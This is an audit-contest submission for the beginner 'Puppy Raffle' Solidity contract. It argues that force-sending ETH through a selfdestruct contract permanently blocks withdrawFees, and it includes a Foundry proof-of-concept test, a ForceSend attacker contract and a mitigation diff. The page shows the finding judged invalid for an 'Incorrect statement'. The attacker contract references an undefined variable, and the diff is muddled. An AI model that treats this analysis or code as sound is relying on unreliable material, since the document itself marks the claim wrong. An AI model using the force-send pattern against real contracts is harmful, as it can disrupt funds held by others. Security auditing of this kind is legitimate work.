Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: medium
Invalid

Misshandling ETH, locks `PuppyRaffle::withdrawFees` forever

0xren

Misshandling ETH, locks PuppyRaffle::withdrawFees forever

Description

  • The PuppyRaffle::withdrawFees validation that require contracts balance needs be equals to totalFees can be misshandling after a malicious user sends any amount of Ether to the contract.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

Impact:

  • This vector of attack can blocks PuppyRaffle::withdrawFees forever because the address(this).balance will never be equals to totalFees

Proof of Concept

function test_poc_withdrawFees_DoS() public {
// 1. Simulate a scenario with accumulated fees (e.g., 1 ETH)
// In PuppyRaffle, totalFees would normally increase as players enter
uint256 totalFeesInContract = 1 ether;
vm.deal(address(puppyRaffle), totalFeesInContract);
​
// 2. Attacker forcibly sends 1 wei to the contract
// This exploits the fact that selfdestruct bypasses the receive() function
ForceSend attackerContract = new ForceSend{value: 1}();
attackerContract.attack(address(puppyRaffle));
​
// 3. Now the contract balance is (1 ether + 1 wei)
// However, the totalFees variable remains exactly 1 ether
assertEq(address(puppyRaffle).balance, totalFeesInContract + 1);
​
// 4. Attempting to withdraw fees will fail due to the strict equality check
// The balance (1.000...1) != totalFees (1.0)
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

In this context a malicious contract can send 1 wei and selfdestruct, forcing the transfer if target contracts checks if address balance is equals to totalFees.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
contract ForceSend {
constructor() payable {}
​
function attack(address target) public {
selfdestruct(payable(puppyRaffleContractAddress));
}
}

Recommended Mitigation

Remove the dependency on the contract's direct balance. Rely solely on the internal accounting provided by the totalFees variable.

.
.
.
function withdrawFees() external {
+ uint256 feesToWithdraw = totalFees;
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
- uint256 feesToWithdraw = totalFees;
+ require(feesToWithdraw > 0, "PuppyRaffle: No fees to withdraw");
​
totalFees = 0;
​
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 4 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!